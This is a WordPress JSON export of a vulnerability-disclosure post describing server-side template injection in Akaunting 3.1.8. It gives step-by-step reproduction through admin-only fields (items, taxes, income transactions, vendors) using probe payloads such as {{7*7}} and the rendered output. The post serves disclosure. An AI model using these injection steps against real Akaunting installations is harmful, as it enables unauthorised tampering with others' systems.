{"id":57157,"date":"2024-05-30T15:11:46","date_gmt":"2024-05-30T11:11:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178866\/akaunting318-ssti.txt"},"modified":"2024-05-30T15:11:46","modified_gmt":"2024-05-30T11:11:46","slug":"akaunting-3-1-8-server-side-template-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/akaunting-3-1-8-server-side-template-injection\/","title":{"rendered":"Akaunting 3.1.8 Server-Side Template Injection"},"content":{"rendered":"<p># Exploit Title: Akaunting 3.1.8 &#8211; Server-Side Template Injection (SSTI)<br \/># Exploit Author: tmrswrr<br \/># Date: 30\/05\/2024<br \/># Vendor: https:\/\/akaunting.com\/forum<br \/># Software Link: https:\/\/akaunting.com\/apps\/crm<br \/># Vulnerable Version(s): 3.1.8<br \/># Tested : https:\/\/www.softaculous.com\/apps\/erp\/Akaunting<\/p>\n<p>1 ) Login with admin cred and go to : Items &gt; New Item<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/common\/items<br \/>2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<\/p>\n<p>====================================================================================<\/p>\n<p>1 ) Login with admin cred and go to :Settings &gt; Taxes &gt; New Tax<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/settings\/taxes\/1\/edit<br \/>2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<br \/>====================================================================================<\/p>\n<p>1 ) Login with admin cred and go to : Banking &gt; Transactions &gt; New Income<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/banking\/transactions\/create?type=income<br \/>2 ) Write SSTI payload : {{7*7}} Description field<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<\/p>\n<p>=======================================================================================<\/p>\n<p>1 ) Login with admin cred<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/purchases\/vendors\/1\/edit<br \/>2 ) Write SSTI payload : {{7*7}} Name field<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Akaunting 3.1.8 &#8211; Server-Side Template Injection (SSTI)# Exploit Author: tmrswrr# Date: 30\/05\/2024# Vendor: https:\/\/akaunting.com\/forum# Software Link: https:\/\/akaunting.com\/apps\/crm# Vulnerable Version(s): 3.1.8# Tested : https:\/\/www.softaculous.com\/apps\/erp\/Akaunting 1 ) Login with admin cred and go to : Items &gt; New Itemhttps:\/\/127.0.0.1\/Akaunting\/1\/common\/items2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57157","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57157"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57157\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}